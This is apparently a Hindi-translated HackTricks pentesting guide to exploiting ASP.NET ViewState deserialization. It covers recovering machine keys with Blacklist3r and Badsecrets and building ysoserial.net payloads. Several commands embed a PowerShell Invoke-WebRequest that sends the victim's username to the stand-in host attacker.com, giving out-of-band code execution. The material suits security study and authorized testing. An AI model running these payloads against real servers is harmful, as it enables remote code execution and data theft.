# रहस्य न पता होने पर \_\_VIEWSTATE का शोषण करना
जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ! HackTricks का समर्थन करने के अन्य तरीके: * यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान**](https://github.com/sponsors/carlospolop) देखें! * [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें * हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें * **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) और **मुझे** **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)** पर फॉलो** करें। * **हैकिंग ट्रिक्स साझा करें** द्वारा PRs सबमिट करके [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अहैकेबल को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और बोली जरुरी है_). {% embed url="https://www.stmcyber.com/careers" %} ## ViewState क्या है **ViewState** ASP.NET में पृष्ठ और नियंत्रण डेटा को वेब पृष्ठों के बीच बनाए रखने के लिए डिफ़ॉल्ट तंत्र के रूप में काम करता है। पृष्ठ के HTML का रेंडरिंग करते समय, पृष्ठ की वर्तमान स्थिति और पोस्टबैक के दौरान संरक्षित करने वाले मान base64-संकेतित स्ट्रिंग में संज्ञात होते हैं। ये स्ट्रिंग्स फिर छुपे ViewState फ़ील्ड में रखे जाते हैं। ViewState जानकारी निम्नलिखित गुणों या उनके संयोजनों द्वारा चित्रित की जा सकती है: - **Base64**: - यह प्रारूप उपयोग किया जाता है जब `EnableViewStateMac` और `ViewStateEncryptionMode` विशेषताएँ दोनों असत्य पर सेट की जाती हैं। - **Base64 + MAC (संदेश प्रमाणीकरण कोड) सक्षम**: - MAC की सक्षमता को `EnableViewStateMac` विशेषता को सत्य पर सेट करके प्राप्त किया जाता है। यह ViewState डेटा के लिए पूर्णता सत्यापन प्रदान करता है। - **Base64 + एन्क्रिप्टेड**: - एन्क्रिप्शन उस समय लागू होता है जब `ViewStateEncryptionMode` विशेषता को सत्य पर सेट किया जाता है, जिससे ViewState डेटा की गोपनीयता सुनिश्चित होती है। ## परीक्षण मामले छवि एक तालिका है जो .NET फ्रेमवर्क संस्करण पर आधारित ASP.NET में ViewState के लिए विभिन्न विन्यासों का विवरण देती है। यहाँ सामग्री का सारांश है: 1. **किसी भी .NET संस्करण के लिए**, जब MAC और एन्क्रिप्शन निष्क्रिय होते हैं, तो MachineKey की आवश्यकता नहीं होती है, और इसलिए इसे पहचानने के लिए कोई उपयुक्त विधि नहीं होती है। 2. **4.5 संस्करण से नीचे के संस्करणों के लिए**, यदि MAC सक्षम है लेकिन एन्क्रिप्शन नहीं है, तो MachineKey की आवश्यकता होती है। MachineKey को पहचानने की विधि को "Blacklist3r" कहा जाता है। 3. **4.5 संस्करण से नीचे के संस्करणों के लिए**, चाहे MAC सक्षम हो या न हो, यदि एन्क्रिप्शन सक्षम है, तो MachineKey की आवश्यकता होती है। MachineKey को पहचानने का कार्य "Blacklist3r - भविष्य विकास" के लिए है। 4. **4.5 संस्करण और ऊपर के संस्करणों के लिए**, MAC और एन्क्रिप्शन के सभी संयोजन (चाहे दोनों सत्य हों, या एक सत्य हो और दूसरा असत्य हो) के लिए MachineKey की आवश्यकता होती है। MachineKey को "Blacklist3r" का उपयोग करके पहचाना जा सकता है। ### परीक्षण मामला: 1 – EnableViewStateMac=false और viewStateEncryptionMode=false `AspNetEnforceViewStateMac` रजिस्ट्री कुंजी को शून्य में सेट करके ViewStateMAC को पूरी तरह से अक्षम किया जा सकता है: ``` HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere} ``` **ViewState विशेषताएँ पहचानना** आप BurpSuite के साथ इस पैरामीटर को समाहित करने वाला अनुरोध कैप्चर करके देख सकते हैं कि ViewState को MAC से सुरक्षित किया गया है या नहीं। यदि Mac पैरामीटर को सुरक्षित करने के लिए उपयोग नहीं किया जाता है, तो आप [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) का उपयोग करके इसे उत्पीड़ित कर सकते हैं। ``` ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" ``` ### परीक्षण मामला 1.5 – परीक्षण मामला 1 की तरह लेकिन सर्वर द्वारा ViewState कुकी नहीं भेजी जाती है डेवलपर ViewState को HTTP अनुरोध का हिस्सा नहीं बनने दे सकते हैं (उपयोगकर्ता को यह कुकी नहीं मिलेगी)।\ कोई यह मान सकता है कि अगर ViewState मौजूद नहीं है, तो उनका कार्यान्वयन ViewState डेसीरियलाइजेशन के साथ किसी भी संभावित सुरक्षा दोषों से सुरक्षित है।\ हालांकि, ऐसा नहीं है। यदि हम अनुरोध शरीर में ViewState पैरामीटर जोड़ते हैं और ysoserial का उपयोग करके बनाए गए हमारे सीरीयलाइज़ किए गए पेलोड को भेजते हैं, तो हम फिर भी कोड क्रियान्वयन हासिल कर सकते हैं जैसा कि मामला 1 में दिखाया गया है। ### परीक्षण मामला: 2 – .Net < 4.5 और EnableViewStateMac=true & ViewStateEncryptionMode=false एक विशेष पृष्ठ के लिए ViewState MAC सक्षम करने के लिए हमें एक विशेष aspx फ़ाइल पर निम्नलिखित परिवर्तन करने की आवश्यकता है: ```bash <%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%> ``` हम इसे **समग्र** एप्लिकेशन के लिए भी कर सकते हैं इसे निम्नलिखित रूप में **web.config** फ़ाइल पर सेट करके: ```xml ``` जैसा कि पैरामीटर MAC सुरक्षित है, इस बार हमें हमला सफलतापूर्वक करने के लिए पहले उपयोग किया गया कुंजी की आवश्यकता है। आप [**Blacklist3r(AspDotNetWrapper.exe)** ](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) का उपयोग करके कुंजी को खोजने की कोशिश कर सकते हैं। ``` AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --decrypt --purpose=viewstate --modifier=6811C9FF --macdecode --TargetPagePath "/Savings-and-Investments/Application/ContactDetails.aspx" -f out.txt --IISDirPath="/" --encrypteddata : __VIEWSTATE parameter value of the target application --modifier : __VIWESTATEGENERATOR parameter value ``` [**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) एक औजार है जो जाने वाले मशीन कुंजियों की पहचान कर सकता है। यह Python में लिखा गया है, इसलिए Blacklist3r की तरह, यह Windows डिपेंडेंसी नहीं है। .NET viewstates के लिए, "python blacklist3r" उपयोग करने का सबसे तेज तरीका है। या तो इसे viewstate और जेनरेटर के साथ सीधे प्रदान किया जा सकता है: ``` pip install badsecrets git clone https://github.com/blacklanternsecurity/badsecrets cd badsecrets python examples/blacklist3r.py --viewstate /wEPDwUJODExMDE5NzY5ZGQMKS6jehX5HkJgXxrPh09vumNTKQ== --generator EDD8C9AE ``` ![https://user-images.githubusercontent.com/24899338/227034640-662b6aad-f8b9-49e4-9a6b-62a5f6ae2d60.png](https://user-images.githubusercontent.com/24899338/227034640-662b6aad-f8b9-49e4-9a6b-62a5f6ae2d60.png) या, यह सीधे लक्षित URL से कनेक्ट कर सकता है और HTML से viewstate को निकालने का प्रयास कर सकता है: ``` pip install badsecrets git clone https://github.com/blacklanternsecurity/badsecrets cd badsecrets python examples/blacklist3r.py --url http://vulnerablesite/vulnerablepage.aspx ``` ![https://user-images.githubusercontent.com/24899338/227034654-e8ad9648-6c0e-47cb-a873-bf97623a0089.png](https://user-images.githubusercontent.com/24899338/227034654-e8ad9648-6c0e-47cb-a873-bf97623a0089.png) व्यूस्टेट परमीटर के वंशानुक्रमण के साथ विकल्प खोजने के लिए, `badsecrets` [**BBOT**](exploiting-\_\_viewstate-parameter.md) मॉड्यूल का उपयोग किया जा सकता है: ``` bbot -f subdomain-enum -m badsecrets -t evil.corp ``` ![https://user-images.githubusercontent.com/24899338/227028780-950d067a-4a01-481f-8e11-41fabed1943a.png](https://user-images.githubusercontent.com/24899338/227028780-950d067a-4a01-481f-8e11-41fabed1943a.png) अगर आप भाग्यशाली हैं और कुंजी मिल जाती है, तो आप [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)**:** का उपयोग करके हमला कर सकते हैं। ``` ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" --generator = {__VIWESTATEGENERATOR parameter value} ``` जब सर्वर द्वारा `_VIEWSTATEGENERATOR` पैरामीटर नहीं भेजा जाता है तो आपको `--generator` पैरामीटर प्रदान करने की आवश्यकता नहीं है, लेकिन ये चाहिए: ```bash --apppath="/" --path="/hello.aspx" ``` ### परीक्षण मामला: 3 – .Net < 4.5 और EnableViewStateMac=true/false और ViewStateEncryptionMode=true इसमें यह नहीं पता चलता कि पैरामीटर MAC के साथ सुरक्षित है या नहीं। फिर, मान्यता संरक्षित हो सकती है और आपको इस सुरक्षा दोष का शोषण करने के लिए अपने पेलोड को एन्क्रिप्ट करने के लिए **मशीन कुंजी की आवश्यकता होगी**। **इस मामले में** [**Blacklist3r**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) **मॉड्यूल विकास के अधीन है...** **.NET 4.5 से पहले**, ASP.NET **उपयोगकर्ताओं से एक** \_`__VIEWSTATE`\_पैरामीटर को **अनएन्क्रिप्टेड** रूप में स्वीकार कर सकता है, **भले ही** **`ViewStateEncryptionMode`** को _**हमेशा**_ सेट किया गया हो। ASP.NET **केवल** अनुरोध में **`__VIEWSTATEENCRYPTED`** पैरामीटर की **उपस्थिति** की जांच करता है। **यदि कोई इस पैरामीटर को हटा देता है, और अनएन्क्रिप्टेड पेलोड भेजता है, तो फिर भी इसे प्रोसेस किया जाएगा।** इसलिए अगर हमलावर किसी अन्य दुर्बलता जैसे फ़ाइल ट्रावर्सल के माध्यम से मशीन कुंजी प्राप्त करने का तरीका खोजते हैं, तो [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) कमांड जो **मामला 2** में उपयोग किया गया था, उसका उपयोग ViewState डेसीरियलाइज़ेशन दुर्बलता का उपयोग करके RCE को करने के लिए किया जा सकता है। * ViewState डेसीरियलाइज़ेशन दुर्बलता का शोषण करने के लिए अनुरोध से `__VIEWSTATEENCRYPTED` पैरामीटर को हटाएं, अन्यथा एक Viewstate MAC मान्यता त्रुटि लौटाएगा और शोषण विफल हो जाएगा। ### परीक्षण मामला: 4 – .Net >= 4.5 और EnableViewStateMac=true/false और ViewStateEncryptionMode=true/false केवल दोनों विशेषता को नकारें हम ASP.NET फ्रेमवर्क का उपयोग करने को मजबूर कर सकते हैं नीचे दिखाए गए वेब.config फ़ाइल में निम्नलिखित पैरामीटर निर्दिष्ट करके। ```xml ``` इसे वेब.कॉन्फ़िग फ़ाइल के `machineKey` पैरामीटर में नीचे दिए गए विकल्प को निर्दिष्ट करके भी किया जा सकता है। ```bash compatibilityMode="Framework45" ``` जैसा पिछले में **मान एन्क्रिप्टेड है।** इसके बाद, **एक वैध पेलोड भेजने के लिए हमलावर को कुंजी की आवश्यकता होती है।** आप [**Blacklist3r(AspDotNetWrapper.exe)** ](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper)का उपयोग करके उपयोग की जा रही कुंजी खोजने का प्रयास कर सकते हैं: ``` AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47LwhBs1fyLvTQu6BktfcwTicOfagaKXho90yGLlA0HrdGOH6x/SUsjRGY0CCpvgM2uR3ba1s6humGhHFyr/gz+EP0fbrlBEAFOrq5S8vMknE/ZQ/8NNyWLwg== --decrypt --purpose=viewstate --valalgo=sha1 --decalgo=aes --IISDirPath "/" --TargetPagePath "/Content/default.aspx" --encrypteddata = {__VIEWSTATE parameter value} --IISDirPath = {Directory path of website in IIS} --TargetPagePath = {Target page path in application} ``` [यहाँ से अधिक विस्तृत विवरण के लिए IISDirPath और TargetPagePath का संदर्भ देखें](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/) या, [**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) (जेनरेटर मान के साथ): ```bash cd badsecrets python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6+305e/4MQG7G1v5GI3wL7D94W2OGpVGrI2LCqEwDoS/8JkE0rR4ak0= --generator B2774415 ``` ![https://user-images.githubusercontent.com/24899338/227043316-13f0488f-5326-46cc-9604-404b908ebd7b.png](https://user-images.githubusercontent.com/24899338/227043316-13f0488f-5326-46cc-9604-404b908ebd7b.png) एक वैध मशीन कुंजी की पहचान होने पर, **अगला कदम है** [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) **का उपयोग करके एक सीरीकृत पेलोड उत्पन्न करना** ``` ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --path="/content/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="F6722806843145965513817CEBDECBB1F94808E4A6C0B2F2" --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" ``` यदि आपके पास `__VIEWSTATEGENERATOR` का मान है तो आप कोशिश कर सकते हैं **--generator** पैरामीटर का उपयोग उस मान के साथ करने के लिए और **--path** और **--apppath** पैरामीटर को **छोड़** सकते हैं। ![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/4.2.png) ViewState डीसीरियलाइज़ेशन वलनरेबिलिटी का सफल शोषण एक हमलावादी नियंत्रित सर्वर को बाहरी अनुरोध में ले जाएगा, जिसमें उपयोगकर्ता नाम शामिल है। इस प्रकार का शोषण एक प्रमाण के संदर्भ में प्रदर्शित किया जाता है जिसे "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET" शीर्षक संसाधन के माध्यम से पाया जा सकता है। शोषण प्रक्रिया काम कैसे करती है और MachineKey की पहचान के लिए Blacklist3r जैसे उपकरणों का उपयोग कैसे करें के बारे में अधिक विवरण के लिए आप [PoC of Successful Exploitation](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC) की पेशकश की गई जानकारी की समीक्षा कर सकते हैं। ### परीक्षण मामला 6 – ViewStateUserKeys का उपयोग हो रहा है **ViewStateUserKey** गुणा CSRF हमले के खिलाफ **रक्षा** के लिए उपयोग किया जा सकता है। यदि ऐसी कुंजी को अनुप्रयोग में परिभाषित किया गया है और हम कोशिश करते हैं कि हम उस परियोजना में **ViewState** पेलोड उत्पन्न करें जिसे अब तक चर्चित विधियों के साथ, तो पेलोड अनुप्रयोग द्वारा प्रसंस्कृत नहीं किया जाएगा।\ आपको सही ढंग से पेलोड बनाने के लिए एक और पैरामीटर का उपयोग करना होगा: ```bash --viewstateuserkey="randomstringdefinedintheserver" ``` ### सफल शोषण का परिणाम सभी परीक्षण मामलों के लिए, यदि ViewState YSoSerial.Net payload **सफलतापूर्वक** काम करता है तो सर्वर “**500 आंतरिक सर्वर त्रुटि**” के साथ प्रतिक्रिया देता है जिसमें प्रतिक्रिया सामग्री “**इस पृष्ठ के लिए राज्य सूचना अमान्य है और यह भ्रष्ट हो सकती है**” होती है और हम OOB अनुरोध प्राप्त करते हैं। अधिक जानकारी के लिए [यहाँ देखें]([**https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)) ## संदर्भ * [**https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/) * [**https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817**](https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817)\\ * [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/) * [**https://blog.blacklanternsecurity.com/p/introducing-badsecrets**](https://blog.blacklanternsecurity.com/p/introducing-badsecrets) यदि आप **हैकिंग करियर** में रुचि रखते हैं और अहैकेबल को हैक करना चाहते हैं - **हम नियुक्ति कर रहे हैं!** (_चुस्त पोलिश लिखने और बोलने की आवश्यकता है_). {% embed url="https://www.stmcyber.com/careers" %}
जीरो से हीरो तक AWS हैकिंग सीखें htARTE (HackTricks AWS Red Team Expert) के साथ! HackTricks का समर्थन करने के अन्य तरीके: * यदि आप अपनी कंपनी का विज्ञापन HackTricks में देखना चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)! * [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें * हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें * **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)** पर फॉलो करें।** * **अपने हैकिंग ट्रिक्स साझा करें** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos को PR जमा करके।